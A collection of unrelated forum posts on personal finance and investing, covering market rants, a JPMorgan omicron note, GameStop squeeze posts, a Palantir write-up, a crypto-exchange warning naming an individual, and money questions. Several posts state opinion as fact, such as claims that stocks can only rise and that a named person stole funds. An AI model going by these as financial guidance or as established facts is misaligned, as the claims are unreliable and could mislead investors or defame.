money back into the market? This was all part of the corrupt government plan. The stimulus check is meant to save people who don't have jobs, but the government is literally giving it out to the people who DON'T need it. I know so many people who have enough wealth but still got the stimulus check. Guess where they put the check? INTO THE STOCK MARKET!!! The only way for the stock market to go is up. If you still don't believe me, keep waiting and missing out. This is the best and safest hedge against inflation. + +As always, the poor people that don't invest NOW will be left out in the big game of investing and later on realize the grave mistake they put themselves in. The rich people always benefit and the stock market is living proof of that. + +&#x200B; + [https://ca.finance.yahoo.com/news/lyft-craters-dragging-down-uber-154409229.html](https://ca.finance.yahoo.com/news/lyft-craters-dragging-down-uber-154409229.html) + +Lyft plunged as much as 35%, the most ever, dragging Uber down more than 12% after both companies reported quarterly results that pointed to strong demand for rides, but failed to reassure Wall Street that a driver shortage that’s cost the companies hundreds of millions of dollars in bonuses was abating. +any suggestions on a good investing podcast? I want one thats geared towards news/analysis/trends and less about financial planning and retirement savings. Would also prefer the host of the show to have some experience working on the buy side/banking/PE or related experience. +“Over the last several days markets have been in turmoil over the new COVID variant omicron. However, data on omicron is sparse, information contradictory, and some media has been exaggerating risks and highlighting worst case scenarios,” chief global strategist Marko Kolanovic and quant strategist Bram Kaplan wrote in a note to clients. They pointed fingers at a “media blitz” on Thanksgiving evening, one of the lowest market liquidity points in a year, that sent growth-sensitive assets crashing. They took issue with a selloff sparked by Moderna’s CEO, who dashed hopes that current vaccines will work against omicron. They argued his comments have been “invalidated by reports from Pfizer, Oxford, the WHO and the Israeli Health Ministry.” + +Kolanovic and Kaplan said their clients are less worried about the variant and more about flight restrictions, which have included barring South African flights, but not European ones, where cases have also been spotted. They described assessments of omicron’s potential transmissibility as confusing at best. “In simple terms, when older variants are spreading via breakthrough infections, new variants will always appear to be significantly more transmissible than older ones.” They backed this up with a tweet by biomathemetician Gabriela Gomes. + +Early reports suggest it may be less deadly, and if confirmed in coming weeks, that could turn omicron into a positive for markets, said the pair. Kolanovic and Kaplan raised the possibility that a less severe and more contagious variant may crowd out more severe variants, potentially speeding up the end of the pandemic and turning it into more of a seasonal flu. That’s amid vaccines and a growing list of treatments to tackle COVID, said the strategists. “If the market were to anticipate that scenario — omicron could be a catalyst for steepening (not flattening) the yield curve, rotation from growth to value, selloff in COVID and lockdown beneficiaries and rally in reopening themes,” said the team. + +“Also, if that scenario were to happen, instead of skipping two letters and naming it omicron, the WHO could have skipped all the way to omega. As such, we view the recent selloff in these segments as an opportunity to buy the dip in cyclicals, commodities and reopening themes, and to position for higher bond yields and steepening,” said the bank’s strategists. Here’s hoping they’re right. + + **The buzz** + +Apple AAPL, -0.32% has reportedly warned suppliers that demand may be softer into 2022. Wedbush analysts lifted shares to $200 from $185, on optimism headed into 2022. They also see the “tech stalwart” as a “safety blanket” in a near-term COVID market storm. + +GlaxoSmithKline GSK, 0.03% GSK, +0.61% says its COVID-19 Sotrovimab antibody treatment is effective against the omicron variant, but based on lab test tubes. The U.S. has unveiled its plan for stricter COVID-19 testing on international travelers. + +WeWork shares WE, -2.65% are down after the co-working space group said it will restate financials and admitted a material weakness. + +Meanwhile, infections in South Africa, which raised the alarm over the variant last week, were at 8,561 on Wednesday, doubling in 24 hours. A top scientist in South Africa has warned that “more severe complications may not present themselves for a few weeks.” + +[https://www.marketwatch.com/story/the-omicron-panic-is-overdone-buy-the-dips-in-these-stocks-says-jpmorgan-11638447971?mod=home-page](https://www.marketwatch.com/story/the-omicron-panic-is-overdone-buy-the-dips-in-these-stocks-says-jpmorgan-11638447971?mod=home-page) +Who the fuck do you think you are? Kenny I’m talking to you and all your little pals. What’s the move? What’s you’re next plan of action? + +The reason I ask is from where I’m sitting you all are fucked and we should be seeing some of your big plans unfold soon. Gonna drop the price down to 10? Perfect. I’ll make sure to save up. Gonna talk shit about RC and crew? Why the fuck do I care when I know the float is 50% locked at this point? That means without counting retirement accounts, brokerages, etc… it’s lookin a little tight for ya. You see, I know. You know I know. We know you know that we know. Who is gonna blink first? + +What would ever stop me from buying more? I mean seriously, at this point, why would I stop? Ryan Cohen isnt the reason I bought. I bought because like most of us we have read the DD. Now, maybe every single thing I’ve read on this subreddit was wrong. Maybe I’m the biggest conspiracy theorist on earth. Maybe you all really got out of your positions but you see your tactics actually reveal what’s really going on. If it weren’t for the media, I may have paper handed a long time ago. + +And yet, a year and a half after the gamestop small squeeze, you all still talk about it. You still tell me to sell. You still bash everything about the company that I believe in. + +Where was the media in 08’ telling my grandparents things are looking bleak and you should pull some money out? You all didn’t care that their 401ks dropped so much within a year of retirement. Where was the media in 08’ telling my aunt that the adjustable rate mortgage wasn’t a good idea? You all didn’t care that she lost her house, because she no longer could afford it. + +So my question to you, the shills, the apes, the media, hedgies and every other mother fucking person on this planet, why do you care so much about what I do with my money now, when you didn’t care about my family then? So you know what? Im gonna keep buying and holding and buying and holding because for some reason it gets a reaction out of you. + +Am I really suppose to believe that everyone cares about me losing money now? Truly ask yourself when you felt the Media was actually trying to protect the small guy. It’s because it doesn’t come from media it comes from the unsung heroes of Dlauer and Dr T. + +So this is my proposal. I won’t be eligible for social security until I’m close to 70 (if there’s any left lmao) and if I invest for the next few decades in what you want me to, I might get out at 69 and the die of a stroke Shortly after. OR, I can buy this one special stock, that has become sort of a movement of its own. A Mement, if you will. Now I don’t know the extent of trouble you all are in but from your Twitter account last September, the never ending articles saying to sell, the trash talk of the ceo, and Jim Cramer being Jim Cramer, 50% DRSed shares and bankruptcy completely off the table, y’all look like your in some shit. + +Apes I’m writing this because I think we all know the greatest FUD that has ever existed is coming our way. We don’t know when and we don’t know how. This is what I do know though. I’m a grinder. I’ve worked 12 hour swing shifts for 7 years and counting and you think I’m gonna give up possibly the only chance I have to make a difference in me and my families lives? Kenny, it don’t cost me a damn dime to hold, but I hear it costs you a dollar to short. 👀 +I'm a pretty avid listener of a couple podcasts, including This American Life. I don't watch many TV shows and drive a lot, so it's only natural. + +[This week's episode](http://www.thisamericanlife.org/radio-archives/episode/573/status-update?act=3) has a 18 minute segment on folks with delinquent debt (most often sub-prime auto loans) who are taken to court, lose, and start to get their wages garnished. + +The rather amazing [investigative reporting long-form piece](https://www.propublica.org/article/debt-collection-lawsuits-squeeze-black-neighborhoods) done by Paul Kiel and Annie Waldman from Pro Publica is a great read as well, but the podcast segment basically is as follows: + +1. Income level is not a sufficient insulation from emergency financial needs when under duress. Examples from this episode included loss of spouse and loss of job, resulting most often in falling behind on car payments -> repo'd -> taken to court -> missed court dates -> lost case -> wages garnished +2. Wealth takes generations to build up. The legacy of Jim Crow runs deep in neighborhoods where black first-time homeowners with little wealth or social safety nets are given sub-prime loans (if you needed $3,000 by tomorrow for an emergency, how many people do you know who could oblige that request? The answer to that question is dependent on far more than just what you do for work). +3. Anybody can fall prey to poor financial planning and unfortunate circumstance. In the small town of Jennings, MO, even the mayor was getting her wages garnished at the time of that this story was being researched. + +**tl;dr** get yourself an emergency fund. And get educated! +I've spent the last few months learning about investing and the finance world and here's my due diligence on Palantir. + +[https://docs.google.com/document/d/1ieh7-xYxn0B\_5d7xYB\_VfoQC4r5aT8n7B\_b6BvmKl6c/edit?usp=sharing](https://docs.google.com/document/d/1ieh7-xYxn0B_5d7xYB_VfoQC4r5aT8n7B_b6BvmKl6c/edit?usp=sharing) + +Some key highlights: + +" **Future of Palantir** + +Palantir estimates that the total TAM in the consulting space is $119 billion with the commercial space worth $56 billion with over 6000 and the government space at $63 billion. In the commercial space, the TAM is calculated by the total number of customers with 6,000 companies with over $500 million revenue and multiplied by the annual contract size (around $10 million a year). The government sector TAM includes government agencies that align with liberal democracies in which the U.S government accounts for $26 billion and international agencies for $37 billion and the federal and state expenditure. + +We expect that in the next 10 years for Palantir to: + +1. Expand their reach (currently 125 customers) more customers in varying spaces and industries, more users, and to continue to innovate with developments in AI and how AI is applied to operations. +2. Palantir’s 5 year outlook projects $4 billion in revenue by 2025 and will be creating positive annual cash flows starting in 2022. +3. The Covid-19 pandemic has illustrated the potential for Palantir software especially within the healthcare industry, signing a two-year, $31 million contract with NHS England and assisting the UK Vaccine Program in the ordering, distributing, and tracking of all vaccines through Foundry. Furthermore, during COVID-19, Palantir partnered with hospitals and government organizations to help manage medical supply chains, analyze efficient medical practices, and maximize hospital efficiency in operations. +4. By utilizing Palantir, organizations are able to adapt to changing environments and the operating systems for the modern enterprise give insights into decisions into alpha, pathing into a future leader of the data analytics consulting space. +5. The building and enabling of the software with connected institutions and companies allows for business software integration along with the vertical integration nature of Palantir’s infrastructure. +6. In addition, Palantir’s software creates organic growth and value for companies that allows for individual expansion with individual organizations to accommodate new users, workflows, and can rapidly scale to that of an institution. +7. Palantir to become the default operating system for data across the U.S government following the court ruling in [Palantir vs. U.S Army (2016)](https://www.defensenews.com/land/2019/03/29/palantir-who-successfully-sued-the-army-just-won-a-major-army-contract/), where the court ruled that the Army violated the 1994 Federal Acquisition Streamlining Act and that the Army not conducted research into commercial products, Palantir’s Gotham technology, that was more efficient and cheaper than DCGS-A. Palantir was eventually awarded a ten year contract worth over $876 million over competitor Raytheon Technologies. The controversy was brought to Capitol Hill by Rep. (Republican) Duncan Hunter who voiced the desires of thousands of soldiers in the battlefield. +8. Become a leader in the commercial consulting space, following the increase in the sales force and spending in marketing which plays a major role in an expanding customer base. +9. In both Gotham and Foundry, the “Digital Twin” is effective in upgrading the product such as improving the weapons system and connecting its infrastructure with the company which not only make the company more efficient but better and more competitive. " + + + +\*The Content here is purely for educational and entertainment purposes. I am not a financial advisor. Do your own due diligence and research first. + +I'm open to any feedback or questions. Thanks! +Hey All! + +So I can't verify every detail of what I am posting here, but I wanted to be sure that I would make a post as a fair warning to all that you should do some further research into this exchange before using it. + +It sounds to me like the creator has some explaining to do to everyone (including those he allegedly ripped off) before anyone uses his exchange. + +As far as I can tell, this has Cryptsy 2.0 written all over it! Here is the research I have done. + +* The creator of SCExchange is "Shane Cory" (please tell me SC in SCExchange makes this "Shane Cory Exchange"). + +* Shane is 19 years old. + +* Shane ran a company that **RAN AWAY WITH EVERYONES MONEY.** They disappeared off the face of the planet without an explanation and suddenly 4 months later - boom - we have SCExchange. + + - You can see this by checking out Shane's LinkedIn Page (https://www.linkedin.com/in/shane-corry-a463ab76/) There we can see that he was the owner of CreativeNation (Screenshot in case he edits it https://i.imgur.com/2Q3gleH.png) + - A friend of mine googled "CreativeNation" and found tons of warnings and they ended up stealing all the youtubers money. ([Video Review One](https://www.youtube.com/watch?v=PRrtn4XixSc)) ([Video Review Two](https://www.youtube.com/watch?v=3cVWt0sW0dA&t=22s)) + - Sounds like this guy got bored with this CreativeNation then ran with everyones money to start an exchange. Sounds like a recipe for history to repeat itself to me! + +* This 19 year old kid is saying he will accept fiat. There is a reason you don't see fiat support on most exchanges. The moment he accepts USD from a US Citizen without a Money Movers license he is going to run into some serious problems. Being from Ireland is not going to protect him if he's putting peoples money at risk. I personally have spent a lot of time with lawyers about these issues while searching for potential business opportunities in this space. End result? DO NOT ACCEPT FIAT. + +* Another red flag? Why would you advertise your new exchange and not even have a landing page up? If you push your product to the world, have things prepared.. this is mind blowing to me. This alone is enough to not use this exchange in my mind. Its the simplest thing int he world... put up a page that says "Coming Soon SCExchange" with a countdown. One hour of work or less. + +Do what you will, and I am not stating any of these things as facts. He may have an explanation for things... but the fact they simply shut down their website and disappeared without any explanation to any of the people they owe many thousands of dollars tells me they will do it again. + +We have already seen this happen with exchanges run by far more professional and seemingly trustworthy people. I would be very skeptical about Cryptsy 2.0. + +--- + +I have been ripped off by shady exchanges before and the last thing I want to do is see other people put their money into things and watch someone run away with it when things get tough. + + +He's asking for the check back now that he has back out of the sale, but I've told him since he's committed to buying, I've taken down the ad and denied multiple sales requests. Is it okay for me to keep the $100 check he's given me? or am I legally obligated to give it back? + +Edit: I turned 4 potential sales away and took the ad down. The only reason he changed his mind is because he originally thought it would tow his boat but now he thinks it will not. +Normal things like bread and eggs are up insanely high from a few months ago. Is this some opportunist pricing going on? I don't feel like the price increases Im seeing are anything close to inflation levels. And they sure wont be coming back down. Food seems to have a high water mark for pricing. +Hi folks, I’m starting down the path of purchasing a first home and finding it rather overwhelming how much personal information I need to provide. Met with the mortgage broker today and for the first conversation gave approximate numbers about salary, expenses etc but now I realise I actually have to provide every little detail for him to put my application to a lender. Salary, super, assets, everything. Feels daunting to share so much personal financial information so kind of seeking advise on how much is actually required and what, if any, can I choose to keep private ? + +There doesn’t seem to be good advise anywhere on what all is mandatory and what is ‘good to have’ and what is totally unnecessary. + +I’m aware mortgage brokers are regulated but how do you what questions are just them being curious and what they actually need for the application. +I don’t want to come across as rude by asking this to the broker as I’m probably just a newbie and he’s just doing his job. + +Welcome all advise :) +I know we talk a lot on this thread about investing in different financial assets - but what have people experienced at a more simpler level saves (makes) them a lot of money. My Dad always said that it’s easier to save a dollar of costs, then it is to make a dollar in investment. + +So on that theme, I thought I’d share that the lockdown (I’m based in Victoria) has got me cutting my own hair. I’ve purchased a cheap set of clippers ($40) - and I’ve now recouped that cost over four months (one cut per month based on a cost of $30 per cut) that’s a pretty decent saving. Extending it over a year - based on those numbers my ROI is looking pretty healthy. + +What are some other similarly high performing cost avoidance investments that you may have to share? +Over the last 12 months I've been buying and selling items on Facebook Marketplace with some success, and on going back over my sales through the year I've inadvertently found that I made too much money to be able to lay dumb with the ATO I feel (profit margin of 45% ish over $130,000 of revenue) + +I'm good at selling the item, but I have no idea what I need to be doing or how to set this up as a tax paying business. I have a spreadsheet showing every single purchase, sale and any expenses with dates and locations for everything, is this enough? + +I'm an idiot, please help! +I managed to negotiate my rent down from 570 to 500 a week for the next 12 months. I was pleased with myself and honestly it was pretty smooth (just one email and a call back from the agent). + +Landlords, did your tenants seek unreasonable reductions? + +Edit: I was fortunate enough not to be impacted by Covid. I just negotiated based on the current market price at the end of my agreement. Also, 30kms away from the Sydney CBD. +**^(I am not a lawyer, financial advisor or claim to have any real knowledge about any of the following shower thoughts speculation)** + +# Is it possible that GameStop's motivation for doing this additional share offering now again in 2021 might just be for something more than just a big'ole sack n' gaggle of [TENDIES](https://tokenist.com/gamestops-1-28b-q1-revenue-shows-gme-is-not-a-meme-stock/) ? + +# 💎 + +Please allow me to peel back a few layers of the onion of what I call my mind and expand on why I believe that there is more to this second share offering than initially meets the eye. + +# I believe RC is doing this second offering now for legal reasons: + +GameStop has now given Wall Street and retail and whoever else buys stocks **TWO** opportunities for **ANYONE** interested in buying **a whole shitload of shares** to take advantage of **TWO** share offerings during this 2021 saga after seeing what happened to his companies share price and volatility in January. + +# not ONE... but TWO SHARE OFFERINGS KENNY BOI totaling ~8,500,000 GME shares a NICE CHUNK KENNY BOI 🙌 + +[FIRST OFFERING COMPLETED 26APR21](https://in.finance.yahoo.com/news/gamestop-completes-market-equity-offering-203900459.html) + +[SECOND OFFERING ANNOUNCED 09JUN21](https://gamestop.gcs-web.com/node/18966/html) +